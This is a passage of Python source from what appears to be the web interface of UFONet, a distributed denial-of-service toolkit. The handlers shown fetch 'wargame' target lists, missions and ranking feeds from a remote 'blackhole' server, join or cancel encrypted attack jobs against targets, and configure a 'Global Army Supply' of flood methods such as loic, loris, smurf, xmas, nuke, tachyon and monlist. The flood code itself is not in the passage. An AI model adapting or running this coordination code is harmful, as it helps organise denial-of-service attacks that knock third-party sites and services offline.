  2980. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  2981. f = open(self.wargames_file, "w") # write updates to wargames.txt
  2982. f.write(wargames)
  2983. f.close()
  2984. self.wargames_text = wargames
  2985. except:
  2986. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2987. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  2988. f = open("/tmp/out", "w")
  2989. f.write(str(wargames))
  2990. f.write(end_mark)
  2991. f.close()
  2992. if page == "/cmd_sync_wargames_update":
  2993. if not os.path.exists('/tmp/out'):
  2994. open('/tmp/out', 'w').close()
  2995. with open('/tmp/out', 'r') as f:
  2996. stream = f.read()
  2997. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2998. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  2999. if page == "/cmd_refresh_missions":
  3000. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3001. blackhole_ip = pGet["missions_source"]
  3002. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3003. try:
  3004. missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8')
  3005. f = open(self.missions, "w") # write updates to missions.txt
  3006. f.write(missions)
  3007. f.close()
  3008. self.missions_text = missions
  3009. except:
  3010. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3011. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  3012. f = open("/tmp/out", "w")
  3013. f.write(str(missions))
  3014. f.write(end_mark)
  3015. f.close()
  3016. if page == "/cmd_refresh_missions_update":
  3017. if not os.path.exists('/tmp/out'):
  3018. open('/tmp/out', 'w').close()
  3019. with open('/tmp/out', 'r') as f:
  3020. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  3021. if page == "/cmd_refresh_ranking":
  3022. self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3023. ranking_ip = pGet["ranking_source"]
  3024. ranking_ip = urllib.parse.unquote(ranking_ip)
  3025. try:
  3026. ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8')
  3027. f = open(self.grid_file, "w") # write updates to grid.txt
  3028. f.write(ranking)
  3029. f.close()
  3030. self.ranking_text = ranking
  3031. except:
  3032. ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3033. end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
  3034. f = open("/tmp/out", "w")
  3035. f.write(str(ranking))
  3036. f.write(end_mark)
  3037. f.close()
  3038. if page == "/cmd_refresh_ranking_update":
  3039. if not os.path.exists('/tmp/out'):
  3040. open('/tmp/out', 'w').close()
  3041. with open('/tmp/out', 'r') as f:
  3042. self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
  3043. if page == "/cmd_sync_grid":
  3044. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  3045. blackhole_ip = pGet["grid_source"]
  3046. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3047. try:
  3048. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  3049. f = open(self.grid_file, "w") # write updates to grid.txt
  3050. f.write(grid)
  3051. f.close()
  3052. self.grid_text = grid
  3053. except:
  3054. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  3055. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3056. f = open("/tmp/out", "w")
  3057. f.write(str(grid))
  3058. f.write(end_mark)
  3059. f.close()
  3060. if page == "/cmd_sync_grid_update":
  3061. if not os.path.exists('/tmp/out'):
  3062. open('/tmp/out', 'w').close()
  3063. with open('/tmp/out', 'r') as f:
  3064. stream = f.read()
  3065. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  3066. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  3067. if page == "/cmd_job_remove":
  3068. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  3069. try:
  3070. job_id = pGet["id"]
  3071. except:
  3072. job_id = ""
  3073. if job_id is not "":
  3074. self.list_wargames.reverse()
  3075. try:
  3076. job_task = self.list_wargames[(int(job_id)-1)]
  3077. f = open(self.wargames_file,"r")
  3078. ls = f.readlines()
  3079. f.close()
  3080. f = open(self.wargames_file,"w")
  3081. for l in ls:
  3082. if str(l) != str(job_task):
  3083. f.write(l)
  3084. f.close()
  3085. except:
  3086. pass
  3087. if page == "/cmd_job_remove_update":
  3088. if not os.path.exists('/tmp/out'):
  3089. open('/tmp/out', 'w').close()
  3090. with open('/tmp/out', 'r') as f:
  3091. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  3092. if page == "/cmd_job_remove_all":
  3093. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  3094. try:
  3095. key_params = pGet["key"]
  3096. sep = ","
  3097. key = key_params.rsplit(sep, 1)[0]
  3098. except:
  3099. key = ""
  3100. if key is not "":
  3101. try:
  3102. self.list_wargames.reverse()
  3103. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  3104. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  3105. f = open(self.wargames_file,"r")
  3106. ls = f.readlines()
  3107. f.close()
  3108. f = open(self.wargames_file,"w")
  3109. sep = "#-#"
  3110. for l in ls:
  3111. job_estimated = l.rsplit(sep, 1)[1]
  3112. self.decrypt(key, job_estimated)
  3113. if self.decryptedtext:
  3114. job_estimated = self.decryptedtext
  3115. else:
  3116. job_estimated = now
  3117. self.decryptedtext = ""
  3118. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  3119. if (now >= job_estimated) == False: # -ONGOING-
  3120. f.write(l)
  3121. f.close()
  3122. except:
  3123. pass
  3124. if page == "/cmd_job_remove_all_update":
  3125. if not os.path.exists('/tmp/out'):
  3126. open('/tmp/out', 'w').close()
  3127. with open('/tmp/out', 'r') as f:
  3128. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  3129. if page == "/cmd_edit_supply":
  3130. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  3131. try:
  3132. supply_botnet = pGet["botnet"]
  3133. supply_loic = pGet["loic"]
  3134. supply_loris = pGet["loris"]
  3135. supply_ufosyn = pGet["ufosyn"]
  3136. supply_spray = pGet["spray"]
  3137. supply_smurf = pGet["smurf"]
  3138. supply_xmas = pGet["xmas"]
  3139. supply_nuke = pGet["nuke"]
  3140. supply_tachyon = pGet["tachyon"]
  3141. supply_monlist = pGet["monlist"]
  3142. except: # default global supply army
  3143. supply_botnet = 1
  3144. supply_loic = 0
  3145. supply_loris = 0
  3146. supply_ufosyn = 0
  3147. supply_spray = 0
  3148. supply_smurf = 0
  3149. supply_xmas = 0
  3150. supply_nuke = 0
  3151. supply_tachyon = 0
  3152. supply_monlist = 0
  3153. with open(self.mothership_supplycfg_file, "w") as f:
  3154. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist}, f, indent=4)
  3155. if page == "/cmd_job_add":
  3156. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  3157. try:
  3158. job_params = pGet["id"]
  3159. sep = ","
  3160. job_id = job_params.rsplit(sep, 1)[0]
  3161. except:
  3162. job_id = ""
  3163. if job_id is not "":
  3164. self.list_wargames.reverse()
  3165. try:
  3166. job_task = self.list_wargames[(int(job_id)-1)]
  3167. f = open(self.wargames_file,"r")
  3168. ls = f.readlines()
  3169. f.close()
  3170. f = open(self.wargames_file,"w")
  3171. sep = "#-#"
  3172. for l in ls:
  3173. if str(l) != str(job_task):
  3174. f.write(l)
  3175. else:
  3176. job_t2 = job_task.rsplit(sep, 1)[0]
  3177. job_creation = job_t2.rsplit(sep, 1)[0]
  3178. job_target = job_t2.rsplit(sep, 1)[1]
  3179. job_estimated = job_task.rsplit(sep, 1)[1]
  3180. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  3181. f.write(l)
  3182. f.close()
  3183. except:
  3184. pass
  3185. if page == "/cmd_job_add_update":
  3186. if not os.path.exists('/tmp/out'):
  3187. open('/tmp/out', 'w').close()
  3188. with open('/tmp/out', 'r') as f:
  3189. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  3190. if page == "/cmd_job_add_all":
  3191. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  3192. try:
  3193. self.list_wargames.reverse()
  3194. f = open(self.wargames_file,"r")
  3195. ls = f.readlines()
  3196. f.close()
  3197. f = open(self.wargames_file,"w")
  3198. sep = "#-#"
  3199. for l in ls:
  3200. job_t2 = l.rsplit(sep, 1)[0]
  3201. job_creation = job_t2.rsplit(sep, 1)[0]
  3202. job_target = job_t2.rsplit(sep, 1)[1]
  3203. job_estimated = l.rsplit(sep, 1)[1]
  3204. if not "!!!" in job_target:
  3205. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated)
  3206. else:
  3207. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  3208. f.write(l)
  3209. f.close()
  3210. except:
  3211. pass
  3212. if page == "/cmd_job_add_all_update":
  3213. if not os.path.exists('/tmp/out'):
  3214. open('/tmp/out', 'w').close()
  3215. with open('/tmp/out', 'r') as f:
  3216. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  3217. if page == "/cmd_job_cancel":
  3218. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  3219. try:
  3220. job_params = pGet["id"]
  3221. sep = ","
  3222. job_id = job_params.rsplit(sep, 1)[0]
  3223. except:
  3224. job_id = ""
  3225. if job_id is not "":
  3226. self.list_wargames.reverse()
  3227. try:
  3228. job_task = self.list_wargames[(int(job_id)-1)]
  3229. f = open(self.wargames_file,"r")
  3230. ls = f.readlines()
  3231. f.close()
  3232. f = open(self.wargames_file,"w")
  3233. for l in ls:
  3234. if str(l) != str(job_task):
  3235. f.write(l)
  3236. else:
  3237. sep = "#-#"
  3238. job_t2 = job_task.rsplit(sep, 1)[0]
  3239. job_creation = job_t2.rsplit(sep, 1)[0]
  3240. job_target = job_t2.rsplit(sep, 1)[1]
  3241. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  3242. job_estimated = job_task.rsplit(sep, 1)[1]
  3243. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  3244. f.write(l)
  3245. f.close()
  3246. except:
  3247. pass
  3248. if page == "/cmd_job_cancel_update":
  3249. if not os.path.exists('/tmp/out'):
  3250. open('/tmp/out', 'w').close()
  3251. with open('/tmp/out', 'r') as f:
  3252. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  3253. if page == "/cmd_job_cancel_all":
  3254. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  3255. try:
  3256. self.list_wargames.reverse()
  3257. f = open(self.wargames_file,"r")
  3258. ls = f.readlines()
  3259. f.close()
  3260. f = open(self.wargames_file,"w")
  3261. sep = "#-#"
  3262. for l in ls:
  3263. job_t2 = l.rsplit(sep, 1)[0]
  3264. job_creation = job_t2.rsplit(sep, 1)[0]
  3265. job_target = job_t2.rsplit(sep, 1)[1]
  3266. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  3267. job_estimated = l.rsplit(sep, 1)[1]
  3268. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  3269. f.write(l)
  3270. f.close()
  3271. except:
  3272. pass
  3273. if page == "/cmd_job_cancel_all_update":
  3274. if not os.path.exists('/tmp/out'):
  3275. open('/tmp/out', 'w').close()
  3276. with open('/tmp/out', 'r') as f:
  3277. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  3278. if page == "/cmd_job_filter":
  3279. try:
  3280. job_filter = pGet["filter"]
  3281. job_key = pGet["key"]
  3282. except:
  3283. job_filter = "creation"
  3284. job_key = str(self.crypto_key)
  3285. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  3286. nodec_text = "KEY?"
  3287. try:
  3288. wargames_items=[]
  3289. with open(self.wargames_file) as f:
  3290. ls = f.read().splitlines()
  3291. f.close()
  3292. f = open(self.wargames_file,"w")
  3293. for j in ls:
  3294. if wargames_msg_sep in j:
  3295. m = j.split(wargames_msg_sep)
  3296. wargames_creation = m[0] # creation date
  3297. self.decrypt(job_key, wargames_creation)
  3298. if self.decryptedtext:
  3299. wargames_creation = self.decryptedtext
  3300. else:
  3301. wargames_creation = nodec_text
  3302. self.decryptedtext = "" # clean decryptedtext buffer
  3303. wargames_target = m[1] # target
  3304. self.decrypt(job_key, wargames_target)
  3305. if self.decryptedtext:
  3306. wargames_target = self.decryptedtext
  3307. if wargames_target.startswith("www."):
  3308. wargames_target = wargames_target.replace("www.","")
  3309. else:
  3310. wargames_target = nodec_text
  3311. self.decryptedtext = "" # clean decryptedtext buffer
  3312. wargames_estimated = m[2] # estimated date
  3313. self.decrypt(job_key, wargames_estimated)
  3314. if self.decryptedtext:
  3315. wargames_estimated = self.decryptedtext
  3316. else:
  3317. wargames_estimated = nodec_text
  3318. self.decryptedtext = "" # clean decryptedtext buffer
  3319. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  3320. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  3321. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  3322. if job_filter == "creation":
  3323. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  3324. elif job_filter == "target":
  3325. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  3326. elif job_filter == "estimated":
  3327. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  3328. else:
  3329. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  3330. for i in wargames_items:
  3331. wargames_creation = i[0]
  3332. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  3333. self.encrypt(job_key, wargames_creation)
  3334. if self.encryptedtext:
  3335. wargames_creation = self.encryptedtext
  3336. self.encryptedtext = "" # clean encryptedtext buffer
  3337. wargames_target = str(i[1])
  3338. self.encrypt(job_key, wargames_target)
  3339. if self.encryptedtext:
  3340. wargames_target = self.encryptedtext
  3341. self.encryptedtext = "" # clean encryptedtext buffer
  3342. wargames_estimated = i[2]
  3343. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  3344. self.encrypt(job_key, wargames_estimated)
  3345. if self.encryptedtext:
  3346. wargames_estimated = self.encryptedtext
  3347. self.encryptedtext = "" # clean encryptedtext buffer
  3348. l = str(wargames_creation) + "#-#" + str(wargames_target) + "#-#" + str(wargames_estimated)
  3349. f.write(l + os.linesep)
  3350. f.close()
  3351. except:
  3352. pass
  3353. if page == "/cmd_job_filter_update":
  3354. if not os.path.exists('/tmp/out'):
  3355. open('/tmp/out', 'w').close()
  3356. with open('/tmp/out', 'r') as f:
  3357. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  3358. if page == "/cmd_grid_filter":
  3359. try:
  3360. grid_filter = pGet["filter"]
  3361. grid_key = pGet["key"]
  3362. except:
  3363. grid_filter = "missions" # default grid order by
  3364. grid_key = str(self.crypto_key)
  3365. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  3366. nodec_text = "KEY?"
  3367. nodec_num = 0
  3368. try:
  3369. grid_items=[]
  3370. with open(self.grid_file) as f:
  3371. ls = f.read().splitlines()
  3372. f.close()
  3373. f = open(self.grid_file,"w")
  3374. for j in ls:
  3375. if grid_msg_sep in j:
  3376. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  3377. m = j.split(grid_msg_sep)
  3378. grid_nickname = m[0] # nickname
  3379. self.decrypt(grid_key, grid_nickname)
  3380. if self.decryptedtext:
  3381. grid_nickname = str(self.decryptedtext)
  3382. else:
  3383. grid_nickname = nodec_text
  3384. self.decryptedtext = "" # clean decryptedtext buffer
  3385. grid_ranking = m[1] # ranking
  3386. self.decrypt(grid_key, grid_ranking)
  3387. if self.decryptedtext:
  3388. try:
  3389. grid_ranking = int(self.decryptedtext)
  3390. except:
  3391. grid_ranking = nodec_num
  3392. else:
  3393. grid_ranking = nodec_num
  3394. self.decryptedtext = "" # clean decryptedtext buffer
  3395. grid_totalchargo = m[2] # total chargo
  3396. self.decrypt(grid_key, grid_totalchargo)
  3397. if self.decryptedtext:
  3398. try:
  3399. grid_totalchargo = int(self.decryptedtext)
  3400. except:
  3401. grid_totalchargo = nodec_num
  3402. else:
  3403. grid_totalchargo = nodec_num
  3404. self.decryptedtext = "" # clean decryptedtext buffer
  3405. grid_dorking = m[3] # dorking
  3406. self.decrypt(grid_key, grid_dorking)
  3407. if self.decryptedtext:
  3408. try:
  3409. grid_dorking = int(self.decryptedtext)
  3410. except:
  3411. grid_dorking = nodec_num
  3412. else:
  3413. grid_dorking = nodec_num
  3414. self.decryptedtext = "" # clean decryptedtext buffer
  3415. grid_transferred = m[4] # transferred
  3416. self.decrypt(grid_key, grid_transferred)
  3417. if self.decryptedtext:
  3418. try:
  3419. grid_transferred = int(self.decryptedtext)
  3420. except:
  3421. grid_transferred = nodec_num
  3422. else:
  3423. grid_transferred = nodec_num
  3424. self.decryptedtext = "" # clean decryptedtext buffer
  3425. grid_maxchargo = m[5] # maxchargo
  3426. self.decrypt(grid_key, grid_maxchargo)
  3427. if self.decryptedtext:
  3428. try:
  3429. grid_maxchargo = int(self.decryptedtext)
  3430. except:
  3431. grid_maxchargo = nodec_num
  3432. else:
  3433. grid_maxchargo = nodec_num
  3434. self.decryptedtext = "" # clean decryptedtext buffer
  3435. grid_missions = m[6] # missions
  3436. self.decrypt(grid_key, grid_missions)
  3437. if self.decryptedtext:
  3438. try:
  3439. grid_missions = int(self.decryptedtext)
  3440. except:
  3441. grid_missions = nodec_num
  3442. else:
  3443. grid_missions = nodec_num
  3444. self.decryptedtext = "" # clean decryptedtext buffer
  3445. grid_attacks = m[7] # attacks
  3446. self.decrypt(grid_key, grid_attacks)
  3447. if self.decryptedtext:
  3448. try:
  3449. grid_attacks = int(self.decryptedtext)
  3450. except:
  3451. grid_attacks = nodec_num
  3452. else:
  3453. grid_attacks = nodec_num
  3454. self.decryptedtext = "" # clean decryptedtext buffer
  3455. grid_loic = m[8] # loic
  3456. self.decrypt(grid_key, grid_loic)
  3457. if self.decryptedtext:
  3458. try:
  3459. grid_loic = int(self.decryptedtext)
  3460. except:
  3461. grid_loic = nodec_num
  3462. else:
  3463. grid_loic = nodec_num
  3464. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  3465. grid_loris = m[9] # loris
  3466. self.decrypt(grid_key, grid_loris)
  3467. if self.decryptedtext:
  3468. try:
  3469. grid_loris = int(self.decryptedtext)
  3470. except:
  3471. grid_loris = nodec_num
  3472. else:
  3473. grid_loris = nodec_num
  3474. self.decryptedtext = "" # clean decryptedtext buffer
  3475. else:
  3476. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  3477. self.decrypt(grid_key, grid_loris)
  3478. if self.decryptedtext:
  3479. try:
  3480. grid_loris = int(self.decryptedtext)
  3481. except:
  3482. grid_loris = nodec_num
  3483. else:
  3484. grid_loris = nodec_num
  3485. self.decryptedtext = "" # clean decryptedtext buffer
  3486. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  3487. grid_ufosyn = m[10] # ufosyn
  3488. self.decrypt(grid_key, grid_ufosyn)
  3489. if self.decryptedtext:
  3490. try:
  3491. grid_ufosyn = int(self.decryptedtext)
  3492. except:
  3493. grid_ufosyn = nodec_num
  3494. else:
  3495. grid_ufosyn = nodec_num
  3496. self.decryptedtext = "" # clean decryptedtext buffer
  3497. else:
  3498. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  3499. self.decrypt(grid_key, grid_ufosyn)
  3500. if self.decryptedtext:
  3501. try:
  3502. grid_ufosyn = int(self.decryptedtext)
  3503. except:
  3504. grid_ufosyn = nodec_num
  3505. else:
  3506. grid_ufosyn = nodec_num
  3507. self.decryptedtext = "" # clean decryptedtext buffer
  3508. if version > 17 or version == 17 or version == 16 or version == 15:
  3509. grid_spray = m[11] # spray
  3510. self.decrypt(grid_key, grid_spray)
  3511. if self.decryptedtext:
  3512. try:
  3513. grid_spray = int(self.decryptedtext)
  3514. except:
  3515. grid_spray = nodec_num
  3516. else:
  3517. grid_spray = nodec_num
  3518. self.decryptedtext = "" # clean decryptedtext buffer
  3519. else:
  3520. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  3521. self.decrypt(grid_key, grid_spray)
  3522. if self.decryptedtext:
  3523. try:
  3524. grid_spray = int(self.decryptedtext)
  3525. except:
  3526. grid_spray = nodec_num
  3527. else:
  3528. grid_spray = nodec_num
  3529. self.decryptedtext = "" # clean decryptedtext buffer
  3530. if version > 17 or version == 17 or version == 16 or version == 15:
  3531. grid_smurf = m[12] # smurf
  3532. self.decrypt(grid_key, grid_smurf)
  3533. if self.decryptedtext:
  3534. try:
  3535. grid_smurf = int(self.decryptedtext)
  3536. except:
  3537. grid_smurf = nodec_num
  3538. else:
  3539. grid_smurf = nodec_num
  3540. self.decryptedtext = "" # clean decryptedtext buffer
  3541. else:
  3542. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  3543. self.decrypt(grid_key, grid_smurf)
  3544. if self.decryptedtext:
  3545. try:
  3546. grid_smurf = int(self.decryptedtext)
  3547. except:
  3548. grid_smurf = nodec_num
  3549. else:
  3550. grid_smurf = nodec_num
  3551. self.decryptedtext = "" # clean decryptedtext buffer
  3552. if version > 17 or version == 17 or version == 16 or version == 15:
  3553. grid_xmas = m[13] # xmas
  3554. self.decrypt(grid_key, grid_xmas)
  3555. if self.decryptedtext:
  3556. try:
  3557. grid_xmas = int(self.decryptedtext)
  3558. except:
  3559. grid_xmas = nodec_num
  3560. else:
  3561. grid_xmas = nodec_num
  3562. self.decryptedtext = "" # clean decryptedtext buffer
  3563. else:
  3564. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  3565. self.decrypt(grid_key, grid_xmas)
  3566. if self.decryptedtext:
  3567. try:
  3568. grid_xmas = int(self.decryptedtext)
  3569. except:
  3570. grid_xmas = nodec_num
  3571. else:
  3572. grid_xmas = nodec_num
  3573. self.decryptedtext = "" # clean decryptedtext buffer
  3574. if version > 17 or version == 17 or version == 16:
  3575. grid_nuke = m[14] # nuke
  3576. self.decrypt(grid_key, grid_nuke)
  3577. if self.decryptedtext:
  3578. try:
  3579. grid_nuke = int(self.decryptedtext)
  3580. except:
  3581. grid_nuke = nodec_num
  3582. else:
  3583. grid_nuke = nodec_num
  3584. self.decryptedtext = "" # clean decryptedtext buffer
  3585. else:
  3586. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  3587. self.decrypt(grid_key, grid_nuke)
  3588. if self.decryptedtext:
  3589. try:
  3590. grid_nuke = int(self.decryptedtext)
  3591. except:
  3592. grid_nuke = nodec_num
  3593. else:
  3594. grid_nuke = nodec_num
  3595. self.decryptedtext = "" # clean decryptedtext buffer
  3596. if version > 17 or version == 17:
  3597. grid_tachyon = m[15] # tachyon
  3598. self.decrypt(grid_key, grid_tachyon)
  3599. if self.decryptedtext:
  3600. try:
  3601. grid_tachyon = int(self.decryptedtext)
  3602. except:
  3603. grid_tachyon = nodec_num
  3604. else:
  3605. grid_tachyon = nodec_num
  3606. self.decryptedtext = "" # clean decryptedtext buffer
  3607. else:
  3608. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  3609. self.decrypt(grid_key, grid_tachyon)
  3610. if self.decryptedtext:
  3611. try:
  3612. grid_tachyon = int(self.decryptedtext)
  3613. except:
  3614. grid_tachyon = nodec_num
  3615. else:
  3616. grid_tachyon = nodec_num
  3617. self.decryptedtext = "" # clean decryptedtext buffer
  3618. if version > 17:
  3619. grid_monlist = m[16] # monlist
  3620. self.decrypt(grid_key, grid_monlist)
  3621. if self.decryptedtext:
  3622. try:
  3623. grid_monlist = int(self.decryptedtext)
  3624. except:
  3625. grid_monlist = nodec_num
  3626. else:
  3627. grid_monlist = nodec_num
  3628. self.decryptedtext = "" # clean decryptedtext buffer
  3629. else:
  3630. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  3631. self.decrypt(grid_key, grid_monlist)
  3632. if self.decryptedtext:
  3633. try:
  3634. grid_monlist = int(self.decryptedtext)
  3635. except:
  3636. grid_monlist = nodec_num
  3637. else:
  3638. grid_monlist = nodec_num
  3639. self.decryptedtext = "" # clean decryptedtext buffer
  3640. if version > 17:
  3641. grid_contact = m[17] # contact
  3642. self.decrypt(grid_key, grid_contact)
  3643. if self.decryptedtext:
  3644. grid_contact = self.decryptedtext
  3645. else:
  3646. grid_contact = nodec_text
  3647. self.decryptedtext = "" # clean decryptedtext buffer
  3648. grid_id = m[18] # id
  3649. elif version == 17:
  3650. grid_contact = m[16] # contact
  3651. self.decrypt(grid_key, grid_contact)
  3652. if self.decryptedtext:
  3653. grid_contact = self.decryptedtext
  3654. else:
  3655. grid_contact = nodec_text
  3656. self.decryptedtext = "" # clean decryptedtext buffer
  3657. grid_id = m[17] # id
  3658. elif version == 16:
  3659. grid_contact = m[15] # contact
  3660. self.decrypt(grid_key, grid_contact)
  3661. if self.decryptedtext:
  3662. grid_contact = self.decryptedtext
  3663. else:
  3664. grid_contact = nodec_text
  3665. self.decryptedtext = "" # clean decryptedtext buffer
  3666. grid_id = m[16] # id
  3667. elif version == 15:
  3668. grid_contact = m[14] # contact
  3669. self.decrypt(grid_key, grid_contact)
  3670. if self.decryptedtext:
  3671. grid_contact = self.decryptedtext
  3672. else:
  3673. grid_contact = nodec_text
  3674. self.decryptedtext = "" # clean decryptedtext buffer
  3675. grid_id = m[15] # id
  3676. elif version == 12:
  3677. grid_contact = m[11] # contact
  3678. self.decrypt(grid_key, grid_contact)
  3679. if self.decryptedtext:
  3680. grid_contact = self.decryptedtext
  3681. else:
  3682. grid_contact = nodec_text
  3683. self.decryptedtext = "" # clean decryptedtext buffer
  3684. grid_id = m[12] # id
  3685. elif version == 11:
  3686. grid_contact = m[10] # contact
  3687. self.decrypt(grid_key, grid_contact)
  3688. if self.decryptedtext:
  3689. grid_contact = self.decryptedtext
  3690. else:
  3691. grid_contact = nodec_text
  3692. self.decryptedtext = "" # clean decryptedtext buffer
  3693. grid_id = m[11] # id
  3694. elif version == 10:
  3695. grid_contact = m[9] # contact
  3696. self.decrypt(grid_key, grid_contact)
  3697. if self.decryptedtext:
  3698. grid_contact = self.decryptedtext
  3699. else:
  3700. grid_contact = nodec_text
  3701. self.decryptedtext = "" # clean decryptedtext buffer
  3702. grid_id = m[10] # id
  3703. else:
  3704. grid_contact = nodec_text
  3705. grid_id = '6666666666666666666666666666666666666' # fake id
  3706. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),str(grid_contact),str(grid_id)])
  3707. if grid_filter == "nickname":
  3708. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  3709. elif grid_filter == "ranking":
  3710. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  3711. elif grid_filter == "chargo":
  3712. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  3713. elif grid_filter == "dorking":
  3714. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  3715. elif grid_filter == "transferred":
  3716. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  3717. elif grid_filter == "maxchargo":
  3718. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  3719. elif grid_filter == "missions":
  3720. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  3721. elif grid_filter == "attacks":
  3722. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  3723. elif grid_filter == "loic":
  3724. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  3725. elif grid_filter == "loris":
  3726. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
